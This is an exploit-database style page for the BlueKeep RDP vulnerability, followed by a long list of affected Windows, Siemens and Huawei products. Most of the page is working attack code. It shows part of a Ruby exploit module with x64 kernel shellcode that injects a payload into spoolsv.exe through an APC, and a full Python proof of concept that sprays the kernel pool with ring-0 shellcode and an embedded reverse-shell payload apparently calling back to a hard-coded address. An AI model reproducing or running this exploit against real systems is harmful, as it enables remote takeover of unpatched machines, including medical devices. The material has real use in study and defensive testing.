mov edi, #{psgetprocessimagefilename_hash}
call get_proc_addr
mov eax, dword [rax+3] ; get offset from code (offset of ImageFilename is always > 0x7f)
mov ebx, eax ; ebx = offset of EPROCESS.ImageFilename
;======================================
; find offset of EPROCESS.ThreadListHead
;======================================
; possible diff from ImageFilename offset is 0x28 and 0x38 (Win8+)
; if offset of ImageFilename is more than 0x400, current is (Win8+)
cmp eax, 0x400 ; eax is still an offset of EPROCESS.ImageFilename
jb _find_eprocess_threadlist_offset_win7
add eax, 0x10
_find_eprocess_threadlist_offset_win7:
lea rdx, [rax+0x28] ; edx = offset of EPROCESS.ThreadListHead
;======================================
; find offset of ETHREAD.ThreadListEntry
;======================================
lea r8, [rcx+rdx] ; r8 = address of EPROCESS.ThreadListHead
mov r9, r8
; ETHREAD.ThreadListEntry must be between ETHREAD (r14) and ETHREAD+0x700
_find_ethread_threadlist_offset_loop:
mov r9, qword [r9]
cmp r8, r9 ; check end of list
je _insert_queue_apc_done ; not found !!!
; if (r9 - r14 < 0x700) found
mov rax, r9
sub rax, r14
cmp rax, 0x700
ja _find_ethread_threadlist_offset_loop
sub r14, r9 ; r14 = -(offset of ETHREAD.ThreadListEntry)
;======================================
; find offset of EPROCESS.ActiveProcessLinks
;======================================
mov edi, #{psgetprocessid_hash}
call get_proc_addr
mov edi, dword [rax+3] ; get offset from code (offset of UniqueProcessId is always > 0x7f)
add edi, 8 ; edi = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId)
;======================================
; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock
;======================================
; check process name
xor eax, eax ; HACK to exit earlier if process not found
_find_target_process_loop:
lea rsi, [rcx+rbx]
push rax
call calc_hash
cmp eax, #{spoolsv_exe_hash} ; "spoolsv.exe"
pop rax
jz found_target_process
;---------- HACK PROCESS NOT FOUND start -----------
inc rax
cmp rax, 0x300 ; HACK not found!
jne _next_find_target_process
xor ecx, ecx
; clear queueing kapc flag, allow other hijacked system call to run shellcode
mov byte [rbp+#{data_queueing_kapc_offset}], cl
jmp _r3_to_r0_done
;---------- HACK PROCESS NOT FOUND end -----------
_next_find_target_process:
; next process
mov rcx, [rcx+rdi]
sub rcx, rdi
jmp _find_target_process_loop
found_target_process:
; The allocation for userland payload will be in KernelApcRoutine.
; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess()
;======================================
; save process PEB for finding CreateThread address in kernel KAPC routine
;======================================
mov edi, #{psgetprocesspeb_hash}
; rcx is EPROCESS. no need to set it.
call win_api_direct
mov [rbp+#{data_peb_addr_offset}], rax
;======================================
; iterate ThreadList until KeInsertQueueApc() success
;======================================
; r15 = nt
; r14 = -(offset of ETHREAD.ThreadListEntry)
; rcx = EPROCESS
; edx = offset of EPROCESS.ThreadListHead
lea rsi, [rcx + rdx] ; rsi = ThreadListHead address
mov rbx, rsi ; use rbx for iterating thread
; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset.
; Moreover, alertable thread need to be waiting state which is more difficult to check.
; try queueing APC then check KAPC member is more reliable.
_insert_queue_apc_loop:
; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front
mov rbx, [rbx+8]
cmp rsi, rbx
je _insert_queue_apc_loop ; skip list head
; find start of ETHREAD address
; set it to rdx to be used for KeInitializeApc() argument too
lea rdx, [rbx + r14] ; ETHREAD
; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer.
; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL.
; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer.
; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL.
; Teb member is next to Queue member.
mov edi, #{psgetthreadteb_hash}
call get_proc_addr
mov eax, dword [rax+3] ; get offset from code (offset of Teb is always > 0x7f)
cmp qword [rdx+rax-8], 0 ; KTHREAD.Queue MUST not be NULL
je _insert_queue_apc_loop
; KeInitializeApc(PKAPC,
; PKTHREAD,
; KAPC_ENVIRONMENT = OriginalApcEnvironment (0),
; PKKERNEL_ROUTINE = kernel_apc_routine,
; PKRUNDOWN_ROUTINE = NULL,
; PKNORMAL_ROUTINE = userland_shellcode,
; KPROCESSOR_MODE = UserMode (1),
; PVOID Context);
lea rcx, [rbp+#{data_kapc_offset}] ; PAKC
xor r8, r8 ; OriginalApcEnvironment
lea r9, [rel kernel_kapc_routine] ; KernelApcRoutine
push rbp ; context
push 1 ; UserMode
push rbp ; userland shellcode (MUST NOT be NULL)
push r8 ; NULL
sub rsp, 0x20 ; shadow stack
mov edi, #{keinitializeapc_hash}
call win_api_direct
; Note: KeInsertQueueApc() requires shadow stack. Adjust stack back later
; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);
; SystemArgument1 is second argument in usermode code (rdx)
; SystemArgument2 is third argument in usermode code (r8)
lea rcx, [rbp+#{data_kapc_offset}]
;xor edx, edx ; no need to set it here
;xor r8, r8 ; no need to set it here
xor r9, r9
mov edi, #{keinsertqueueapc_hash}
call win_api_direct
add rsp, 0x40
; if insertion failed, try next thread
test eax, eax
jz _insert_queue_apc_loop
mov rax, [rbp+#{data_kapc_offset}+0x10] ; get KAPC.ApcListEntry
; EPROCESS pointer 8 bytes
; InProgressFlags 1 byte
; KernelApcPending 1 byte
; if success, UserApcPending MUST be 1
cmp byte [rax+0x1a], 1
je _insert_queue_apc_done
; manual remove list without lock
mov [rax], rax
mov [rax+8], rax
jmp _insert_queue_apc_loop
_insert_queue_apc_done:
; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine.
_r3_to_r0_done:
pop rax
pop rbx
pop rsi
pop rdi
pop r14
pop r15
ret
;========================================================================
; Call function in specific module
;
; All function arguments are passed as calling normal function with extra register arguments
; Extra Arguments: r15 = module pointer
; edi = hash of target function name
;========================================================================
win_api_direct:
call get_proc_addr
jmp rax
;========================================================================
; Get function address in specific module
;
; Arguments: r15 = module pointer
; edi = hash of target function name
; Return: eax = offset
;========================================================================
get_proc_addr:
; Save registers
push rbx
push rcx
push rsi ; for using calc_hash
; use rax to find EAT
mov eax, dword [r15+60] ; Get PE header e_lfanew
mov eax, dword [r15+rax+136] ; Get export tables RVA
add rax, r15
push rax ; save EAT
mov ecx, dword [rax+24] ; NumberOfFunctions
mov ebx, dword [rax+32] ; FunctionNames
add rbx, r15
_get_proc_addr_get_next_func:
; When we reach the start of the EAT (we search backwards), we hang or crash
dec ecx ; decrement NumberOfFunctions
mov esi, dword [rbx+rcx*4] ; Get rva of next module name
add rsi, r15 ; Add the modules base address
call calc_hash
cmp eax, edi ; Compare the hashes
jnz _get_proc_addr_get_next_func ; try the next function
_get_proc_addr_finish:
pop rax ; restore EAT
mov ebx, dword [rax+36]
add rbx, r15 ; ordinate table virtual address
mov cx, word [rbx+rcx*2] ; desired functions ordinal
mov ebx, dword [rax+28] ; Get the function addresses table rva
add rbx, r15 ; Add the modules base address
mov eax, dword [rbx+rcx*4] ; Get the desired functions RVA
add rax, r15 ; Add the modules base address to get the functions actual VA
pop rsi
pop rcx
pop rbx
ret
;========================================================================
; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode.
;
; Argument: rsi = string to hash
; Clobber: rsi
; Return: eax = hash
;========================================================================
calc_hash:
push rdx
xor eax, eax
cdq
_calc_hash_loop:
lodsb ; Read in the next byte of the ASCII string
ror edx, 13 ; Rotate right our hash value
add edx, eax ; Add the next byte of the string
test eax, eax ; Stop when found NULL
jne _calc_hash_loop
xchg edx, eax
pop rdx
ret
; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context.
; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery().
; Moreover, there is no lock when calling KernelApcRoutine.
; So KernelApcRoutine can simply lower the IRQL by setting cr8 register.
;
; VOID KernelApcRoutine(
; IN PKAPC Apc,
; IN PKNORMAL_ROUTINE *NormalRoutine,
; IN PVOID *NormalContext,
; IN PVOID *SystemArgument1,
; IN PVOID *SystemArgument2)
kernel_kapc_routine:
push rbp
push rbx
push rdi
push rsi
push r15
mov rbp, [r8] ; *NormalContext is our data area pointer
mov r15, [rbp+#{data_nt_kernel_addr_offset}]
push rdx
pop rsi ; mov rsi, rdx
mov rbx, r9
;======================================
; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)
;======================================
xor eax, eax
mov cr8, rax ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires)
; rdx is already address of baseAddr
mov [rdx], rax ; baseAddr = 0
mov ecx, eax
not rcx ; ProcessHandle = -1
mov r8, rax ; ZeroBits
mov al, 0x40 ; eax = 0x40
push rax ; PAGE_EXECUTE_READWRITE = 0x40
shl eax, 6 ; eax = 0x40 << 6 = 0x1000
push rax ; MEM_COMMIT = 0x1000
; reuse r9 for address of RegionSize
mov [r9], rax ; RegionSize = 0x1000
sub rsp, 0x20 ; shadow stack
mov edi, #{zwallocatevirtualmemory_hash}
call win_api_direct
add rsp, 0x30
; check error
test eax, eax
jnz _kernel_kapc_routine_exit
;======================================
; copy userland payload
;======================================
mov rdi, [rsi]
;--------------------------- HACK IN EGG USER ---------
push rdi
lea rsi, [rel shellcode_start]
mov rdi, 0x#{USERMODE_EGG.to_s(16)}
_find_user_egg_loop:
sub rsi, 0x#{CHUNK_SIZE.to_s(16)}
mov rax, [rsi - 8]
cmp rax, rdi
jnz _find_user_egg_loop
_inner_find_user_egg_loop:
inc rsi
mov rax, [rsi - 8]
cmp rax, rdi
jnz _inner_find_user_egg_loop
pop rdi
;--------------------------- END HACK EGG USER ------------
mov ecx, 0x380 ; fix payload size to 0x380 bytes
rep movsb
;======================================
; find CreateThread address (in kernel32.dll)
;======================================
mov rax, [rbp+#{data_peb_addr_offset}]
mov rax, [rax + 0x18] ; PEB->Ldr
mov rax, [rax + 0x20] ; InMemoryOrder list
;lea rsi, [rcx + rdx] ; rsi = ThreadListHead address
;mov rbx, rsi ; use rbx for iterating thread
_find_kernel32_dll_loop:
mov rax, [rax] ; first one always be executable
; offset 0x38 (WORD) => must be 0x40 (full name len c:\windows\system32\kernel32.dll)
; offset 0x48 (WORD) => must be 0x18 (name len kernel32.dll)
; offset 0x50 => is name
; offset 0x20 => is dllbase
;cmp word [rax+0x38], 0x40
;jne _find_kernel32_dll_loop
cmp word [rax+0x48], 0x18
jne _find_kernel32_dll_loop
mov rdx, [rax+0x50]
; check only "32" because name might be lowercase or uppercase
cmp dword [rdx+0xc], 0x00320033 ; 3\x002\x00
jnz _find_kernel32_dll_loop
;int3
mov r15, [rax+0x20]
mov edi, #{createthread_hash}
call get_proc_addr
; save CreateThread address to SystemArgument1
mov [rbx], rax
_kernel_kapc_routine_exit:
xor ecx, ecx
; clear queueing kapc flag, allow other hijacked system call to run shellcode
mov byte [rbp+#{data_queueing_kapc_offset}], cl
; restore IRQL to APC_LEVEL
mov cl, 1
mov cr8, rcx
pop r15
pop rsi
pop rdi
pop rbx
pop rbp
ret
userland_start_thread:
; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)
xchg rdx, rax ; rdx is CreateThread address passed from kernel
xor ecx, ecx ; lpThreadAttributes = NULL
push rcx ; lpThreadId = NULL
push rcx ; dwCreationFlags = 0
mov r9, rcx ; lpParameter = NULL
lea r8, [rel userland_payload] ; lpStartAddr
mov edx, ecx ; dwStackSize = 0
sub rsp, 0x20
call rax
add rsp, 0x30
ret
userland_payload:
^
[
KERNELMODE_EGG,
assemble_with_fixups(asm)
].pack('<Qa*')
end
def create_free_trigger(chan_user_id, chan_id)
# malformed Disconnect Provider Indication PDU (opcode: 0x2, total_size != 0x20)
vprint_status("Creating free trigger for user #{chan_user_id} on channel #{chan_id}")
# The extra bytes on the end of the body is what causes the bad things to happen
body = "\x00\x00\x00\x00\x00\x00\x00\x00\x02" + "\x00" * 22
rdp_create_channel_msg(chan_user_id, chan_id, body, 3, 0xFFFFFFF)
end
def create_exploit_channel_buffer(target_addr)
overspray_addr = target_addr + 0x2000
shellcode_vtbl = target_addr + HEADER_SIZE
magic_value1 = overspray_addr + 0x810
magic_value2 = overspray_addr + 0x48
magic_value3 = overspray_addr + CHUNK_SIZE + HEADER_SIZE
# first 0x38 bytes are used by DATA PDU packet
# exploit channel starts at +0x38, which is +0x20 of an _ERESOURCE
# http://www.tssc.de/winint/Win10_17134_ntoskrnl/_ERESOURCE.htm
[
[
# SystemResourceList (2 pointers, each 8 bytes)
# Pointer to OWNER_ENTRY (8 bytes)
# ActiveCount (SHORT, 2 bytes)
# Flag (WORD, 2 bytes)
# Padding (BYTE[4], 4 bytes) x64 only
0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)
0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)
magic_value2, # OwnerThread (ULONG, 8 bytes)
magic_value2, # TableSize (ULONG, 8 bytes)
0x0, # ActiveEntries (DWORD, 4 bytes)
0x0, # ContenttionCount (DWORD, 4 bytes)
0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)
0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)
0x0, # Reserved2 (PVOID, 8 bytes) x64 only
magic_value2, # Address (PVOID, 8 bytes)
0x0, # SpinLock (UINT_PTR, 8 bytes)
].pack('<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),
[
magic_value2, # SystemResourceList (2 pointers, each 8 bytes)
magic_value2, # --------------------
0x0, # Pointer to OWNER_ENTRY (8 bytes)
0x0, # ActiveCount (SHORT, 2 bytes)
0x0, # Flag (WORD, 2 bytes)
0x0, # Padding (BYTE[4], 4 bytes) x64 only
0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)
0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)
magic_value2, # OwnerThread (ULONG, 8 bytes)
magic_value2, # TableSize (ULONG, 8 bytes)
0x0, # ActiveEntries (DWORD, 4 bytes)
0x0, # ContenttionCount (DWORD, 4 bytes)
0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)
0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)
0x0, # Reserved2 (PVOID, 8 bytes) x64 only
magic_value2, # Address (PVOID, 8 bytes)
0x0, # SpinLock (UINT_PTR, 8 bytes)
].pack('<Q<Q<Q<S<S<L<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),
[
0x1F, # ClassOffset (DWORD, 4 bytes)
0x0, # bindStatus (DWORD, 4 bytes)
0x72, # lockCount1 (QWORD, 8 bytes)
magic_value3, # connection (QWORD, 8 bytes)
shellcode_vtbl, # shellcode vtbl ? (QWORD, 8 bytes)
0x5, # channelClass (DWORD, 4 bytes)
"MS_T120\x00".encode('ASCII'), # channelName (BYTE[8], 8 bytes)
0x1F, # channelIndex (DWORD, 4 bytes)
magic_value1, # channels (QWORD, 8 bytes)
magic_value1, # connChannelsAddr (POINTER, 8 bytes)
magic_value1, # list1 (QWORD, 8 bytes)
magic_value1, # list1 (QWORD, 8 bytes)
magic_value1, # list2 (QWORD, 8 bytes)
magic_value1, # list2 (QWORD, 8 bytes)
0x65756c62, # inputBufferLen (DWORD, 4 bytes)
0x7065656b, # inputBufferLen (DWORD, 4 bytes)
magic_value1, # connResrouce (QWORD, 8 bytes)
0x65756c62, # lockCount158 (DWORD, 4 bytes)
0x7065656b, # dword15C (DWORD, 4 bytes)
].pack('<L<L<Q<Q<Q<La*<L<Q<Q<Q<Q<Q<Q<L<L<Q<L<L')
].join('')
end
end
Exploit Database EDB-ID : 47683
Date de publication : 2019-11-18 23:00 +00:00
Auteur : 0xeb-bp
EDB Vérifié : No
# EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47683.zip
import rdp
import socket
import binascii
import time
def pool_spray(s, crypter, payload):
times = 10000
count = 0
while count < times:
count += 1
#print('time through %d' % count)
try:
s.sendall(rdp.write_virtual_channel(crypter, 7, 1005, payload))
except ConnectionResetError:
print('ConnectionResetError pool_spray Aborting')
quit()
def main():
# change to your target
host = '192.168.0.46'
port = 3389
times = 4000
count = 0
target = (host, port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target)
crypter = rdp.connect(s)
# this address was choosen for the pool spray. it could be be
# modified for potentially higher success rates.
# in my testing against the win7 VM it is around 80% success
# 0x874ff028
shellcode_address = b'\x28\xf0\x4f\x87'
# replace buf with your shellcode
buf = b""
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += b"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += b"\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += b"\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x00\x22\x68"
buf += b"\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
buf += b"\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec"
buf += b"\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89"
buf += b"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66"
buf += b"\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44"
buf += b"\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68"
buf += b"\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
buf += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68"
buf += b"\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
buf += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
# bluekeep_kshellcode_x86.asm
# ring 0 to ring 3 shellcode
shellcode = b""
shellcode += b"\x60\xe8\x00\x00\x00\x00\x5b\xe8\x26\x00\x00\x00"
shellcode += b"\xb9\x76\x01\x00\x00\x0f\x32\x8d\x7b\x3c\x39\xf8"
shellcode += b"\x74\x11\x39\x45\x00\x74\x06\x89\x45\x00\x89\x55"
shellcode += b"\x08\x89\xf8\x31\xd2\x0f\x30\x61\xf4\xeb\xfd\xc2"
shellcode += b"\x24\x00\x8d\xab\x00\x10\x00\x00\xc1\xed\x0c\xc1"
shellcode += b"\xe5\x0c\x83\xed\x50\xc3\xb9\x23\x00\x00\x00\x6a"
shellcode += b"\x30\x0f\xa1\x8e\xd9\x8e\xc1\x64\x8b\x0d\x40\x00"
shellcode += b"\x00\x00\x8b\x61\x04\x51\x9c\x60\xe8\x00\x00\x00"
shellcode += b"\x00\x5b\xe8\xcb\xff\xff\xff\x8b\x45\x00\x83\xc0"
shellcode += b"\x17\x89\x44\x24\x24\x31\xc0\x99\x42\xf0\x0f\xb0"
shellcode += b"\x55\x08\x75\x12\xb9\x76\x01\x00\x00\x99\x8b\x45"
shellcode += b"\x00\x0f\x30\xfb\xe8\x04\x00\x00\x00\xfa\x61\x9d"
shellcode += b"\xc3\x8b\x45\x00\xc1\xe8\x0c\xc1\xe0\x0c\x2d\x00"
shellcode += b"\x10\x00\x00\x66\x81\x38\x4d\x5a\x75\xf4\x89\x45"
shellcode += b"\x04\xb8\x78\x7c\xf4\xdb\xe8\xd3\x00\x00\x00\x97"
shellcode += b"\xb8\x3f\x5f\x64\x77\x57\xe8\xc7\x00\x00\x00\x29"
shellcode += b"\xf8\x89\xc1\x3d\x70\x01\x00\x00\x75\x03\x83\xc0"
shellcode += b"\x08\x8d\x58\x1c\x8d\x34\x1f\x64\xa1\x24\x01\x00"
shellcode += b"\x00\x8b\x36\x89\xf2\x29\xc2\x81\xfa\x00\x04\x00"
shellcode += b"\x00\x77\xf2\x52\xb8\xe1\x14\x01\x17\xe8\x9b\x00"
shellcode += b"\x00\x00\x8b\x40\x0a\x8d\x50\x04\x8d\x34\x0f\xe8"
shellcode += b"\xcb\x00\x00\x00\x3d\x5a\x6a\xfa\xc1\x74\x0e\x3d"
shellcode += b"\xd8\x83\xe0\x3e\x74\x07\x8b\x3c\x17\x29\xd7\xeb"
shellcode += b"\xe3\x89\x7d\x0c\x8d\x1c\x1f\x8d\x75\x10\x5f\x8b"
shellcode += b"\x5b\x04\xb8\x3e\x4c\xf8\xce\xe8\x61\x00\x00\x00"
shellcode += b"\x8b\x40\x0a\x3c\xa0\x77\x02\x2c\x08\x29\xf8\x83"
shellcode += b"\x7c\x03\xfc\x00\x74\xe1\x31\xc0\x55\x6a\x01\x55"
shellcode += b"\x50\xe8\x00\x00\x00\x00\x81\x04\x24\x92\x00\x00"
shellcode += b"\x00\x50\x53\x29\x3c\x24\x56\xb8\xc4\x5c\x19\x6d"
shellcode += b"\xe8\x25\x00\x00\x00\x31\xc0\x50\x50\x50\x56\xb8"
shellcode += b"\x34\x46\xcc\xaf\xe8\x15\x00\x00\x00\x85\xc0\x74"
shellcode += b"\xaa\x8b\x45\x1c\x80\x78\x0e\x01\x74\x07\x89\x00"
shellcode += b"\x89\x40\x04\xeb\x9a\xc3\xe8\x02\x00\x00\x00\xff"
shellcode += b"\xe0\x60\x8b\x6d\x04\x97\x8b\x45\x3c\x8b\x54\x05"
shellcode += b"\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\x49"
shellcode += b"\x8b\x34\x8b\x01\xee\xe8\x1d\x00\x00\x00\x39\xf8"
shellcode += b"\x75\xf1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b"
shellcode += b"\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24"
shellcode += b"\x1c\x61\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01"
shellcode += b"\xc2\x85\xc0\x75\xf6\x92\x5a\xc3\x58\x89\x44\x24"
shellcode += b"\x10\x58\x59\x58\x5a\x60\x52\x51\x8b\x28\x31\xc0"
shellcode += b"\x64\xa2\x24\x00\x00\x00\x99\xb0\x40\x50\xc1\xe0"
shellcode += b"\x06\x50\x54\x52\x89\x11\x51\x4a\x52\xb8\xea\x99"
shellcode += b"\x6e\x57\xe8\x7b\xff\xff\xff\x85\xc0\x75\x4f\x58"
shellcode += b"\x8b\x38\xe8\x00\x00\x00\x00\x5e\x83\xc6\x55\xb9"
shellcode += b"\x00\x04\x00\x00\xf3\xa4\x8b\x45\x0c\x50\xb8\x48"
shellcode += b"\xb8\x18\xb8\xe8\x56\xff\xff\xff\x8b\x40\x0c\x8b"
shellcode += b"\x40\x14\x8b\x00\x66\x83\x78\x24\x18\x75\xf7\x8b"
shellcode += b"\x50\x28\x81\x7a\x0c\x33\x00\x32\x00\x75\xeb\x8b"
shellcode += b"\x58\x10\x89\x5d\x04\xb8\x5e\x51\x5e\x83\xe8\x32"
shellcode += b"\xff\xff\xff\x59\x89\x01\x31\xc0\x88\x45\x08\x40"
shellcode += b"\x64\xa2\x24\x00\x00\x00\x61\xc3\x5a\x58\x58\x59"
shellcode += b"\x51\x51\x51\xe8\x00\x00\x00\x00\x83\x04\x24\x09"
shellcode += b"\x51\x51\x52\xff\xe0\x31\xc0"
shellcode += buf
print('shellcode len: %d' % len(shellcode))
payload_size = 1600
payload = b'\x2c\xf0\x4f\x87' + shellcode
payload = payload + b'\x5a' * (payload_size - len(payload))
print('[+] spraying pool')
pool_spray(s, crypter, payload)
fake_obj_size = 168
call_offset = 108
fake_obj = b'\x00'*call_offset + shellcode_address
fake_obj = fake_obj + b'\x00' * (fake_obj_size - len(fake_obj))
time.sleep(.5)
print('[+] sending free')
s.sendall(rdp.free_32(crypter))
time.sleep(.15)
print('[+] allocating fake objects')
while count < times:
count += 1
#print('time through %d' % count)
try:
s.sendall(rdp.write_virtual_channel(crypter, 7, 1005, fake_obj))
except ConnectionResetError:
s.close()
s.close()
if __name__== "__main__":
main()
Products Mentioned
Configuraton 0
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_server_2008 >> Version -
Microsoft>>Windows_server_2008 >> Version r2
Configuraton 0
Siemens>>Axiom_multix_m_firmware >> Version *
Siemens>>Axiom_multix_m >> Version -
Configuraton 0
Siemens>>Axiom_vertix_md_trauma_firmware >> Version *
Siemens>>Axiom_vertix_md_trauma >> Version -
Configuraton 0
Siemens>>Axiom_vertix_solitaire_m_firmware >> Version *
Siemens>>Axiom_vertix_solitaire_m >> Version -
Configuraton 0
Siemens>>Mobilett_xp_digital_firmware >> Version *
Siemens>>Mobilett_xp_digital >> Version -
Configuraton 0
Siemens>>Multix_pro_acss_p_firmware >> Version *
Siemens>>Multix_pro_acss_p >> Version -
Configuraton 0
Siemens>>Multix_pro_p_firmware >> Version *
Siemens>>Multix_pro_p >> Version -
Configuraton 0
Siemens>>Multix_pro_firmware >> Version *
Siemens>>Multix_pro >> Version -
Configuraton 0
Siemens>>Multix_pro_acss_firmware >> Version *
Siemens>>Multix_pro_acss >> Version -
Configuraton 0
Siemens>>Multix_pro_navy_firmware >> Version *
Siemens>>Multix_pro_navy >> Version -
Configuraton 0
Siemens>>Multix_swing_firmware >> Version *
Siemens>>Multix_swing >> Version -
Configuraton 0
Siemens>>Multix_top_firmware >> Version *
Siemens>>Multix_top >> Version -
Configuraton 0
Siemens>>Multix_top_acss_firmware >> Version *
Siemens>>Multix_top_acss >> Version -
Configuraton 0
Siemens>>Multix_top_p_firmware >> Version *
Siemens>>Multix_top_p >> Version -
Configuraton 0
Siemens>>Multix_top_acss_p_firmware >> Version *
Siemens>>Multix_top_acss_p >> Version -
Configuraton 0
Siemens>>Vertix_solitaire_firmware >> Version *
Siemens>>Vertix_solitaire >> Version -
Configuraton 0
Siemens>>Atellica_solution_firmware >> Version *
Siemens>>Atellica_solution >> Version -
Configuraton 0
Siemens>>Aptio_firmware >> Version *
Siemens>>Aptio >> Version -
Configuraton 0
Siemens>>Streamlab_firmware >> Version *
Siemens>>Streamlab >> Version -
Configuraton 0
Siemens>>Centralink_firmware >> Version *
Siemens>>Centralink >> Version -
Configuraton 0
Siemens>>Viva_e_firmware >> Version *
Siemens>>Viva_e >> Version -
Configuraton 0
Siemens>>Viva_twin_firmware >> Version *
Siemens>>Viva_twin >> Version -
Configuraton 0
Siemens>>Syngo_lab_process_manager >> Version *
Configuraton 0
Siemens>>Rapidpoint_500_firmware >> Version To (including) 2.3.2
Siemens>>Rapidpoint_500 >> Version -
Configuraton 0
Siemens>>Lantis_firmware >> Version *
Siemens>>Lantis >> Version -
Configuraton 0
Huawei>>Agile_controller-campus_firmware >> Version v100r002c00
Huawei>>Agile_controller-campus_firmware >> Version v100r002c10
Huawei>>Agile_controller-campus >> Version -
Configuraton 0
Huawei>>Bh620_v2_firmware >> Version v100r002c00
Huawei>>Bh620_v2 >> Version -
Configuraton 0
Huawei>>Bh621_v2_firmware >> Version v100r002c00
Huawei>>Bh621_v2 >> Version -
Configuraton 0
Huawei>>Bh622_v2_firmware >> Version v100r001c00
Huawei>>Bh622_v2 >> Version -
Configuraton 0
Huawei>>Bh640_v2_firmware >> Version v100r002c00
Huawei>>Bh640_v2 >> Version -
Configuraton 0
Huawei>>Ch121_firmware >> Version v100r001c00
Huawei>>Ch121 >> Version -
Configuraton 0
Huawei>>Ch140_firmware >> Version v100r001c00
Huawei>>Ch140 >> Version -
Configuraton 0
Huawei>>Ch220_firmware >> Version v100r001c00
Huawei>>Ch220 >> Version -
Configuraton 0
Huawei>>Ch221_firmware >> Version v100r001c00
Huawei>>Ch221 >> Version -
Configuraton 0
Huawei>>Ch222_firmware >> Version v100r002c00
Huawei>>Ch222 >> Version -
Configuraton 0
Huawei>>Ch240_firmware >> Version v100r001c00
Huawei>>Ch240 >> Version -
Configuraton 0
Huawei>>Ch242_firmware >> Version v100r001c00
Huawei>>Ch242 >> Version -
Configuraton 0
Huawei>>Ch242_v3_firmware >> Version v100r001c00
Huawei>>Ch242_v3 >> Version -
Configuraton 0
Huawei>>E6000_firmware >> Version v100r002c00
Huawei>>E6000 >> Version -
Configuraton 0
Huawei>>E6000_chassis_firmware >> Version v100r001c00
Huawei>>E6000_chassis >> Version -
Configuraton 0
Huawei>>Gtsoftx3000_firmware >> Version v200r001c01spc100
Huawei>>Gtsoftx3000_firmware >> Version v200r002c00spc300
Huawei>>Gtsoftx3000_firmware >> Version v200r002c10spc100
Huawei>>Gtsoftx3000 >> Version -
Configuraton 0
Huawei>>Oceanstor_18500_firmware >> Version v100r001c30spc300
Huawei>>Oceanstor_18500 >> Version -
Configuraton 0
